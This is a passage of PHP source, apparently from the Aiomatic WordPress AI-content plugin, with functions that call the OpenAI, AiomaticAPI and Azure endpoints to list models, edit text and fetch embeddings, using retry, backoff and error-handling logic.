                            aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') AiomaticAPI model API call after decode failure: ' . print_r($api_url, true));
                            sleep(pow(2, $retry_count));
                            return aiomatic_get_models($token, intval($retry_count) + 1, $error);
                        }
                        else
                        {
                            $error = 'Error: Failed to decode AiomaticAPI response: ' . $ai_response;
                            return false;
                        }
                    }
                    if(isset($ai_json->error))
                    {
                        if (stristr($ai_json->error, 'Your subscription expired, please renew it.') === false && stristr($ai_json->error, '[RATE LIMITED]') === false && isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                        {
                            aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') AiomaticAPI model API call after error failure: ' . print_r($api_url, true));
                            sleep(pow(2, $retry_count));
                            return aiomatic_get_models($token, intval($retry_count) + 1, $error);
                        }
                        else
                        {
                            $error = 'Error while processing AI response: ' . $ai_json->error;
                            return false;
                        }
                    }
                    if(!isset($ai_json->result))
                    {
                        if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                        {
                            aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') AiomaticAPI model API call after result failure: ' . print_r($api_url, true));
                            sleep(pow(2, $retry_count));
                            return aiomatic_get_models($token, intval($retry_count) + 1, $error);
                        }
                        else
                        {
                            $error = 'Error: Failed to parse AiomaticAPI response: ' . $ai_response;
                            return false;
                        }
                    }
                    if(isset($ai_json->remainingtokens))
                    {
                        set_transient('aiomaticapi_tokens', $ai_json->remainingtokens, 86400);
                    }
                    return $ai_json->result;
                }
                else
                {
                    remove_action('http_api_curl', 'aiomatic_add_proxy');
                    $xh = array(
                        'Content-Type' => 'application/json',
                        'Authorization' => 'Bearer ' . $token,
                    );
                    if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '')
                    {
                        $xh['OpenAI-Organization'] = $aiomatic_Main_Settings['openai_organization'];
                    }
                    $api_call = wp_remote_get(
                        'https://api.openai.com/v1/models',
                        array(
                            'headers' => $xh,
                            'data_format' => 'body',
                            'timeout'     => AIOMATIC_DEFAULT_BIG_TIMEOUT,
                        )
                    );
                    remove_action('http_api_curl', 'aiomatic_add_proxy');
                    if(is_wp_error( $api_call ))
                    {
                        if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                        {
                            aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') model API call after initial failure: ' . print_r($api_call, true));
                            sleep(pow(2, $retry_count));
                            return aiomatic_get_models($token, intval($retry_count) + 1, $error);
                        }
                        else
                        {
                            $error = 'Error: Failed to get initial API response: ' . print_r($api_call, true);
                            return false;
                        }
                    }
                    else
                    {
                        $result = json_decode( $api_call['body'] );
                        if($result === null)
                        {
                            if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                            {
                                aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') model API call after decode failure: ' . print_r($api_call['body'], true));
                                sleep(pow(2, $retry_count));
                                return aiomatic_get_models($token, intval($retry_count) + 1, $error);
                            }
                            else
                            {
                                $error = 'Error: Failed to decode initial API response: ' . print_r($api_call, true);
                                return false;
                            }
                        }
                        if(isset($result->error))
                        {
                            $result = $result->error;
                        }
                        if(isset($result->type))
                        {
                            if($result->type == 'insufficient_quota')
                            {
                                $error = 'Error: You exceeded your OpenAI general quota limit. To fix this, if you are using a free OpenAI account, you need to add a VISA card to your account, as OpenAI heavily limits free accounts. Please check details here: https://platform.openai.com/docs/guides/rate-limits';
                                return false;
                            }
                            elseif($result->type == 'invalid_request_error')
                            {
                                $error = 'Error: Invalid request submitted to the models API! Result: ' . print_r($result, true);
                                return false;
                            }
                            else
                            {
                                if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                                {
                                    aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') model API call after type failure: ' . print_r($api_call['body'], true));
                                    sleep(pow(2, $retry_count));
                                    return aiomatic_get_models($token, intval($retry_count) + 1, $error);
                                }
                                else
                                {
                                    $error = 'Error: An error occurred when initially calling OpenAI models API: ' . print_r($result, true);
                                    return false;
                                }
                            }
                        }
                        if(!isset($result->data[0]->id))
                        {
                            if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                            {
                                aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') model API call after model listing failure: ' . print_r($api_call['body'], true));
                                sleep(pow(2, $retry_count));
                                return aiomatic_get_models($token, intval($retry_count) + 1, $error);
                            }
                            else
                            {
                                if(isset($result->code) && $result->code == 'content_filter')
                                {
                                    $error = 'Error: The response was filtered by our content management policy.';
                                    return false;
                                }
                                else
                                {
                                    $error = 'Error: Choices not found in initial API result: ' . print_r($result, true);
                                    return false;
                                }
                            }
                        }
                        else
                        {
                            return $result->data;
                        }
                    }
                }
                $error = 'Failed to finish API call correctly.';
                return false;
            }
            
            function aiomatic_edit_text($token, $model, $instruction, $aicontent, $temperature, $top_p, $env, $retry_count, &$error)
            {
                $is_allowed = apply_filters('aiomatic_is_ai_edit_allowed', true, $instruction, $aicontent);
                if ( $is_allowed !== true ) {
                    $error = is_string( $is_allowed ) ? $is_allowed : esc_html__('You are not allowed to do this query', 'aiomatic-automatic-ai-content-writer');
                    $error = apply_filters('aiomatic_modify_ai_error', $error);
                    return false;
                }
                $aicontent = apply_filters('aiomatic_modify_ai_edit_content', $instruction, $aicontent);
                $instruction = apply_filters('aiomatic_modify_ai_edit_instruction', $instruction, $aicontent);
                $aiomatic_Limit_Settings = get_option('aiomatic_Limit_Settings', false);
                $stop = null;
                $session = aiomatic_get_session_id();
                $mode = 'edit';
                $maxResults = 1;
                $available_tokens = 1000;
                $query = new Aiomatic_Query($aicontent, $available_tokens, $model, $temperature, $stop, $env, $mode, $token, $session, $maxResults, '', '');
                $ok = apply_filters( 'aiomatic_ai_allowed', true, $aiomatic_Limit_Settings );
                if ( $ok !== true ) {
                    $error = $ok;
                    $error = apply_filters('aiomatic_modify_ai_error', $error);
                    return false;
                }
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                if (aiomatic_check_if_azure_or_others($aiomatic_Main_Settings, $model)) 
                {
                    $error = 'Azure and Claude APIs are not currently supported for edit endpoints.';
                    $error = apply_filters('aiomatic_modify_ai_error', $error);
                    return false;
                }
                if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on' && AIOMATIC_IS_DEBUG === true)
                {
                    aiomatic_log_to_file('Generating AI editing using model: ' . $model . ' using instruction: "' . $instruction . '" and text: "' . $aicontent . '"');
                }
                $delay = '';
                if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') 
                {
                    if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false)
                    {
                        $tempo = explode(',', $aiomatic_Main_Settings['request_delay']);
                        if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0])))
                        {
                            $delay = rand(trim($tempo[0]), trim($tempo[1]));
                        }
                    }
                    else
                    {
                        if(is_numeric(trim($aiomatic_Main_Settings['request_delay'])))
                        {
                            $delay = intval(trim($aiomatic_Main_Settings['request_delay']));
                        }
                    }
                }
                if($delay != '' && is_numeric($delay))
                {
                    usleep($delay);
                }
                if(aiomatic_is_aiomaticapi_key($token))
                {
                    $pargs = array();
                    $api_url = 'https://aiomaticapi.com/apis/ai/v1/edit/';
                    $pargs['apikey'] = trim($token);
                    $pargs['temperature'] = $temperature;
                    $pargs['top_p'] = $top_p;
                    $pargs['instruction'] = trim($instruction);
                    $pargs['input'] = trim($aicontent);
                    $pargs['model'] = trim($model);
                    $ai_response = aiomatic_get_web_page_api($api_url, $pargs);
                    if($ai_response === false)
                    {
                        $error = 'Error: Failed to get AiomaticAPI response!';
                        $error = apply_filters('aiomatic_modify_ai_error', $error);
                        return false;
                    }
                    $ai_json = json_decode($ai_response);
                    if($ai_json === null)
                    {
                        if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                        {
                            aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') API call after decode edit failure: ' . print_r($api_url, true));
                            sleep(pow(2, $retry_count));
                            return aiomatic_edit_text($token, $model, $instruction, $aicontent, $temperature, $top_p, $env, intval($retry_count) + 1, $error);
                        }
                        else
                        {
                            $error = 'Error: Failed to decode AiomaticAPI response: ' . $ai_response;
                            $error = apply_filters('aiomatic_modify_ai_error', $error);
                            return false;
                        }
                    }
                    if(isset($ai_json->error))
                    {
                        if (stristr($ai_json->error, 'Your subscription expired, please renew it.') === false && stristr($ai_json->error, '[RATE LIMITED]') === false && isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                        {
                            aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') API call after error edit failure: ' . print_r($api_url, true));
                            sleep(pow(2, $retry_count));
                            return aiomatic_edit_text($token, $model, $instruction, $aicontent, $temperature, $top_p, $env, intval($retry_count) + 1, $error);
                        }
                        else
                        {
                            $error = 'Error while processing AI response: ' . $ai_json->error;
                            $error = apply_filters('aiomatic_modify_ai_error', $error);
                            return false;
                        }
                    }
                    if(!isset($ai_json->result))
                    {
                        if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                        {
                            aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') API call after result edit failure: ' . print_r($api_url, true));
                            sleep(pow(2, $retry_count));
                            return aiomatic_edit_text($token, $model, $instruction, $aicontent, $temperature, $top_p, $env, intval($retry_count) + 1, $error);
                        }
                        else
                        {
                            $error = 'Error: Failed to parse AiomaticAPI response: ' . $ai_response;
                            $error = apply_filters('aiomatic_modify_ai_error', $error);
                            return false;
                        }
                    }
                    if(isset($ai_json->remainingtokens))
                    {
                        set_transient('aiomaticapi_tokens', $ai_json->remainingtokens, 86400);
                    }
                    $ai_json = apply_filters( 'aiomatic_edit_reply_raw', $ai_json, $instruction, $aicontent );
                    apply_filters( 'aiomatic_ai_reply', $ai_json->result, $query );
                    return $ai_json->result;
                }
                else
                {
                    try
                    {
                        $send_json = aiomatic_safe_json_encode( [
                            'model' => $model,
                            'input' => $aicontent,
                            'instruction' => $instruction,
                            'temperature' => $temperature,
                            'top_p' => $top_p
                        ] );
                    }
                    catch(Exception $e)
                    {
                        $error = 'Error: Exception in API payload encoding: ' . print_r($e->getMessage(), true);
                        $error = apply_filters('aiomatic_modify_ai_error', $error);
                        return false;
                    }
                    if($send_json === false)
                    {
                        $error = 'Error: Failed to encode API payload: ' . print_r($aicontent, true);
                        $error = apply_filters('aiomatic_modify_ai_error', $error);
                        return false;
                    }
                    add_action('http_api_curl', 'aiomatic_add_proxy');
                    $xh = array(
                        'Content-Type' => 'application/json',
                        'Authorization' => 'Bearer ' . $token,
                    );
                    if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '')
                    {
                        $xh['OpenAI-Organization'] = $aiomatic_Main_Settings['openai_organization'];
                    }
                    $api_call = wp_remote_post(
                        'https://api.openai.com/v1/edits',
                        array(
                            'headers' => $xh,
                            'body'        => $send_json,
                            'method'      => 'POST',
                            'data_format' => 'body',
                            'timeout'     => AIOMATIC_DEFAULT_BIG_TIMEOUT,
                        )
                    );
                    remove_action('http_api_curl', 'aiomatic_add_proxy');
                    if(is_wp_error( $api_call ))
                    {
                        if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                        {
                            aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') API call after initial edit failure: ' . print_r($api_call, true));
                            sleep(pow(2, $retry_count));
                            return aiomatic_edit_text($token, $model, $instruction, $aicontent, $temperature, $top_p, $env, intval($retry_count) + 1, $error);
                        }
                        else
                        {
                            $error = 'Error: Failed to get initial API response: ' . print_r($api_call, true);
                            $error = apply_filters('aiomatic_modify_ai_error', $error);
                            return false;
                        }
                    }
                    else
                    {
                        $result = json_decode( $api_call['body'] );
                        if($result === null)
                        {
                            if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                            {
                                aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') API call after decode edit failure: ' . print_r($api_call['body'], true));
                                sleep(pow(2, $retry_count));
                                return aiomatic_edit_text($token, $model, $instruction, $aicontent, $temperature, $top_p, $env, intval($retry_count) + 1, $error);
                            }
                            else
                            {
                                $error = 'Error: Failed to decode initial API response: ' . print_r($api_call, true);
                                $error = apply_filters('aiomatic_modify_ai_error', $error);
                                return false;
                            }
                        }
                        $is_error = false;
                        $sleep_time = false;
                        if(isset($result->error))
                        {
                            $result = $result->error;
                            $is_error = true;
                        }
                        if($is_error && isset($result->type))
                        {
                            if($result->type == 'insufficient_quota')
                            {
                                $error = 'Error: You exceeded your OpenAI edits quota limit. To fix this, if you are using a free OpenAI account, you need to add a VISA card to your account, as OpenAI heavily limits free accounts. Please check details here: https://platform.openai.com/docs/guides/rate-limits';
                                $error = apply_filters('aiomatic_modify_ai_error', $error);
                                return false;
                            }
                            elseif($result->type == 'invalid_request_error')
                            {
                                $error = 'Error: Invalid request submitted to the edits API, result: ' . print_r($result, true);
                                $error = apply_filters('aiomatic_modify_ai_error', $error);
                                return false;
                            }
                            else
                            {
                                if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                                {
                                    if(isset($result->code) && $result->code == 'rate_limit_exceeded')
                                    {
                                        $errmessage = $result->message;
                                        preg_match_all('#Rate limit reached for.*?in organization.*?Please try again in ([\d.]*?)s#i', $errmessage, $htmlrez);
                                        if(isset($htmlrez[1][0]))
                                        {
                                            $sleep_time = ceil(floatval($htmlrez[1][0]));
                                            if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on')
                                            {
                                                aiomatic_log_to_file('Rate limit reached for model: ' . $model . ', sleeping for: ' . $sleep_time . ' seconds');
                                            }
                                            sleep($sleep_time);
                                        }
                                    }
                                    aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') API call after initial edit failure: ' . print_r($api_call['body'], true));
                                    if($sleep_time === false)
                                    {
                                        sleep(pow(2, $retry_count));
                                    }
                                    return aiomatic_edit_text($token, $model, $instruction, $aicontent, $temperature, $top_p, $env, intval($retry_count) + 1, $error);
                                }
                                else
                                {
                                    $error = 'Error: An error occurred when initially calling OpenAI API: ' . print_r($result, true);
                                    $error = apply_filters('aiomatic_modify_ai_error', $error);
                                    return false;
                                }
                            }
                        }
                        if(!isset($result->choices[0]->text))
                        {
                            if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                            {
                                aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') API call after choices edit failure: ' . print_r($api_call['body'], true));
                                sleep(pow(2, $retry_count));
                                return aiomatic_edit_text($token, $model, $instruction, $aicontent, $temperature, $top_p, $env, intval($retry_count) + 1, $error);
                            }
                            else
                            {
                                if(isset($result->code) && $result->code == 'content_filter')
                                {
                                    $error = 'Error: The response was filtered by our content management policy.';
                                    $error = apply_filters('aiomatic_modify_ai_error', $error);
                                    return false;
                                }
                                else
                                {
                                    $error = 'Error: Choices not found in initial API result: ' . print_r($result, true);
                                    $error = apply_filters('aiomatic_modify_ai_error', $error);
                                    return false;
                                }
                            }
                        }
                        else
                        {
                            $result = apply_filters( 'aiomatic_edit_reply_raw', $result, $instruction, $aicontent );
                            apply_filters( 'aiomatic_ai_reply', $result->choices[0]->text, $query );
                            return $result->choices[0]->text;
                        }
                    }
                }
                $error = 'Failed to finish API call correctly.';
                $error = apply_filters('aiomatic_modify_ai_error', $error);
                return false;
            }
            
            function aiomatic_embeddings_aiomaticapi($token, $model, $input, $retry_count, &$error)
            {
                if(aiomatic_is_aiomaticapi_key($token))
                {
                    $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                    $pargs = array();
                    $api_url = 'https://aiomaticapi.com/apis/ai/v1/embeddings/';
                    $pargs['apikey'] = trim($token);
                    $pargs['input'] = trim($input);
                    $pargs['model'] = trim($model);
                    $ai_response = aiomatic_get_web_page_api($api_url, $pargs);
                    if($ai_response === false)
                    {
                        $error = 'Error: Failed to get AiomaticAPI response!';
                        return false;
                    }
                    $ai_json = json_decode($ai_response);
                    if($ai_json === null)
                    {
                        if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                        {
                            aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') API call after decode embeddings failure: ' . print_r($api_url, true));
                            sleep(pow(2, $retry_count));
                            return aiomatic_embeddings_aiomaticapi($token, $model, $input, intval($retry_count) + 1, $error);
                        }
                        else
                        {
                            $error = 'Error: Failed to decode AiomaticAPI response: ' . $ai_response;
                            return false;
                        }
                    }
                    if(isset($ai_json->error))
                    {
                        if (stristr($ai_json->error, 'Your subscription expired, please renew it.') === false && stristr($ai_json->error, '[RATE LIMITED]') === false && isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                        {
                            aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') API call after error embeddings failure: ' . print_r($api_url, true));
                            sleep(pow(2, $retry_count));
                            return aiomatic_embeddings_aiomaticapi($token, $model, $input, intval($retry_count) + 1, $error);
                        }
                        else
                        {
                            $error = 'Error while processing AI response: ' . $ai_json->error;
                            return false;
                        }
                    }
                    if(!isset($ai_json->result))
                    {
                        if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                        {
                            aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') API call after result embeddings failure: ' . print_r($api_url, true));
                            sleep(pow(2, $retry_count));
                            return aiomatic_embeddings_aiomaticapi($token, $model, $input, intval($retry_count) + 1, $error);
                        }
                        else
                        {
                            $error = 'Error: Failed to parse AiomaticAPI response: ' . $ai_response;
                            return false;
                        }
                    }
                    if(isset($ai_json->remainingtokens))
                    {
                        set_transient('aiomaticapi_tokens', $ai_json->remainingtokens, 86400);
                    }
                    return $ai_json->result;
                }
                $error = 'This function works only for AiomaticAPI keys!';
                return false;
            }
            
            function aiomatic_embeddings_azure($token, $model, $input, $retry_count, &$error)
            {
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                if (aiomatic_check_if_azure($aiomatic_Main_Settings)) 
                {
                    if (!isset($aiomatic_Main_Settings['azure_endpoint']) || trim($aiomatic_Main_Settings['azure_endpoint']) == '') 
                    {
                        $error = 'You need to enter an Azure Endpoint for this to work!';
                        return false;
                    }
                    if(in_array($model, AIOMATIC_AZURE_MODELS) === false)
                    {
                        $error = 'This model is not currently supported by Azure API: ' . $model;
                        return false;
                    }
                    if(aiomatic_is_trained_model($model))
                    {
                        $error = 'Fine-tuned models are not supported for Azure API';
                        return false;
                    }
                    $localAzureDeployments = array();
                    $depl_arr = aiomatic_get_deployments($token);
                    if(is_array($depl_arr))
                    {
                        foreach($depl_arr as $dar)
                        {
                            $localAzureDeployments[trim($dar->model)] = trim($dar->id);
                        }
                    }
                    $azureDeployment = '';
                    foreach ( $localAzureDeployments as $dmodel => $dname ) 
                    {
                        if ( $dmodel === str_replace('.', '', $model) || $dmodel === $model ) {
                            $azureDeployment = $dname;
                            break;
                        }
                    }
                    if ( $azureDeployment == '' ) 
                    {
                        $new_dep = aiomatic_update_deployments_azure($token);
                        if($new_dep !== false)
                        {
                            $localAzureDeployments = array();
                            foreach($new_dep as $dar)
                            {
                                $localAzureDeployments[trim($dar->model)] = trim($dar->id);
                            }
                            foreach ( $localAzureDeployments as $dmodel => $dname ) 
                            {
                                if ( $dmodel === str_replace('.', '', $model) || $dmodel === $model ) {
                                    $azureDeployment = $dname;
                                    break;
                                }
                            }
                        }
                        if ( $azureDeployment == '' ) 
                        {
                            $error = 'No added Azure deployment found for embeddings model: ' . $model . ' - you need to add this model in your Azure Portal as a Deployment';
                            return false;
                        }
                    }
                    $apiurl = trailingslashit(trim($aiomatic_Main_Settings['azure_endpoint'])) . 'openai/deployments/' . $azureDeployment . '/embeddings' . AZURE_API_VERSION;
                    $base_params = [
                        'model' => str_replace('.', '', $model),
                        'input' => $input
                    ];
                    try
                    {
                        $send_json = aiomatic_safe_json_encode($base_params);
                    }
                    catch(Exception $e)
                    {
                        $error = 'Error: Exception in chat API payload encoding: ' . print_r($e->getMessage(), true);
                        return false;
                    }
                    if($send_json === false)
                    {
                        $error = 'Error: Failed to encode chat API payload: ' . print_r($base_params, true);
                        return false;
                    }
                    add_action('http_api_curl', 'aiomatic_add_proxy');
                    $api_call = wp_remote_post(
                        $apiurl,
                        array(
                            'headers' => array( 'Content-Type' => 'application/json', 'api-key' => $token ),
                            'body'        => $send_json,
                            'method'      => 'POST',
                            'data_format' => 'body',
                            'timeout'     => AIOMATIC_DEFAULT_BIG_TIMEOUT,
                        )
                    );
                    remove_action('http_api_curl', 'aiomatic_add_proxy');
                    if(is_wp_error( $api_call ))
                    {
                        if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                        {
                            aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Azure embeddings API call after initial failure: ' . print_r($api_call, true));
                            sleep(pow(2, $retry_count));
                            return aiomatic_embeddings_azure($token, $model, $input, intval($retry_count) + 1, $error);
                        }
                        else
                        {
                            $error = 'Error: Failed to get initial chat API response: ' . print_r($api_call, true);
                            return false;
                        }
                    }
                    else
                    {
                        $result = json_decode( $api_call['body'] );
                        if($result === null)
                        {
                            if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                            {
                                aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') chat API call after decode failure(4): ' . print_r($api_call['body'], true));
                                sleep(pow(2, $retry_count));
                                return aiomatic_embeddings_azure($token, $model, $input, intval($retry_count) + 1, $error);
                            }
                            else
                            {
                                $error = 'Error: Failed to decode initial chat API response: ' . print_r($api_call, true);
                                return false;
                            }
                        }
                        $is_error = false;
                        $sleep_time = false;
                        if(isset($result->error))
                        {
                            $result = $result->error;
                            $is_error = true;
                        }
                        if($is_error && isset($result->type))
                        {
                            if($result->type == 'insufficient_quota')
                            {
                                $error = 'Error: You exceeded your Azure OpenAI quota limit for embeddings, please wait a period for the Azure quota to refill (chat initial call).';
                                return false;
                            }
                            elseif($result->type == 'invalid_request_error')
                            {
                                $error = 'Error: Invalid request submitted to the chat Azure API, result: ' . print_r($result, true);
                                return false;
                            }
                            else
                            {
                                if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                                {
                                    if(isset($result->code) && $result->code == 'rate_limit_exceeded')
                                    {
                                        $errmessage = $result->message;
                                        preg_match_all('#Rate limit reached for.*?in organization.*?Please try again in ([\d.]*?)s#i', $errmessage, $htmlrez);
                                        if(isset($htmlrez[1][0]))
                                        {
                                            $sleep_time = ceil(floatval($htmlrez[1][0]));
                                            if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on')
                                            {
                                                aiomatic_log_to_file('Rate limit reached for model: ' . $model . ', sleeping for: ' . $sleep_time . ' seconds');
                                            }
                                            sleep($sleep_time);
                                        }
                                    }
                                    aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') chat Azure API call after type failure: ' . print_r($api_call['body'], true));
                                    if($sleep_time === false)
                                    {
                                        sleep(pow(2, $retry_count));
                                    }
                                    return aiomatic_embeddings_azure($token, $model, $input, intval($retry_count) + 1, $error);
                                }
                                else
                                {
                                    $error = 'Error: An error occurred when initially calling OpenAI chat API: ' . print_r($result, true);
                                    return false;
                                }
                            }
                        }
                        if(!isset($result->data))
                        {
                            delete_option('aiomatic_deployments_list');
                            if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                            {
                                aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') chat API call after Azure data failure: ' . print_r($api_call['body'], true));
                                sleep(pow(2, $retry_count));
                                return aiomatic_embeddings_azure($token, $model, $input, intval($retry_count) + 1, $error);
                            }
                            else
                            {
                                if(isset($result->code) && $result->code == 'content_filter')
                                {
                                    $error = 'Error: The response was filtered by our content management policy.';
                                    return false;
                                }
                                else
                                {
                                    $error = 'Error: Choices not found in initial chat API result: ' . print_r($result, true);
                                    return false;
                                }
                            }
                        }
                        else
                        {
                            $zempty = array();
                            $result->data[0]->usage = (object)$zempty;
                            $result->data[0]->usage->total_tokens = count(aiomatic_encode($input));
                            return $result->data;
                        }
                    }
                }
                else
                {
                    $error = 'This method is available only when Azure API is used in the plugin!';
                    return false;
                }
                $error = 'Unexpected embedding error occured';
                return false;
            }
            
            function aiomatic_get_deployments($token)
            {
                $deployments_option_value = get_option('aiomatic_deployments_list', false);
            	if(!empty($deployments_option_value))
            	{
            		return $deployments_option_value;
            	}
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                if(isset($aiomatic_Main_Settings['azure_model_deployments']) && is_array($aiomatic_Main_Settings['azure_model_deployments']))
                {
                    $localAzureDeployments = array();
                    foreach($aiomatic_Main_Settings['azure_model_deployments'] as $modelName => $deploymentName)
                    {
                        $deplObj = new stdClass();
                        $deplObj->model = $modelName;
                        $deplObj->id = $deploymentName;
                        $localAzureDeployments[] = $deploymentName;
                    }
                    if(count($localAzureDeployments) > 0)
                    {
                        return $localAzureDeployments;
                    }
                }
                $error = '';
                $deployments = aiomatic_list_deployments_azure($token, $error);
                if(is_array($deployments))
                {
                    update_option('aiomatic_deployments_list', $deployments);
                    return $deployments;
                }
                else
                {
                    aiomatic_log_to_file('Failed to list deployments from Azure, error: ' . $error);
                }
            	return false;
            }
            function aiomatic_update_deployments_azure($token)
            {
                $error = '';
                //$deployments = aiomatic_list_deployments_azure($token, $error);
                $deployments = array();
                if(is_array($deployments) && !empty($deployments))
                {
                    update_option('aiomatic_deployments_list', $deployments);
                    return $deployments;
                }
                else
                {
                    $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                    if(isset($aiomatic_Main_Settings['azure_model_deployments']) && is_array($aiomatic_Main_Settings['azure_model_deployments']))
                    {
                        $localAzureDeployments = array();
                        foreach($aiomatic_Main_Settings['azure_model_deployments'] as $modelName => $deploymentName)
                        {
                            $deplObj = new stdClass();
                            $deplObj->model = $modelName;
                            $deplObj->id = $deploymentName;
                            $localAzureDeployments[] = $deplObj;
                        }
                        if(count($localAzureDeployments) > 0)
                        {
                            update_option('aiomatic_deployments_list', $localAzureDeployments);
                            return $localAzureDeployments;
                        }
                    }
                    aiomatic_log_to_file('Failed to update deployments from Azure, error: ' . $error);
                }
                return false;
            }
            function aiomatic_list_deployments_azure($token, &$error)
            {
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                if (aiomatic_check_if_azure($aiomatic_Main_Settings)) 
                {
                    if (!isset($aiomatic_Main_Settings['azure_endpoint']) || trim($aiomatic_Main_Settings['azure_endpoint']) == '') 
                    {
                        $error = 'You need to enter an Azure Endpoint for this to work!';
                        return false;
                    }
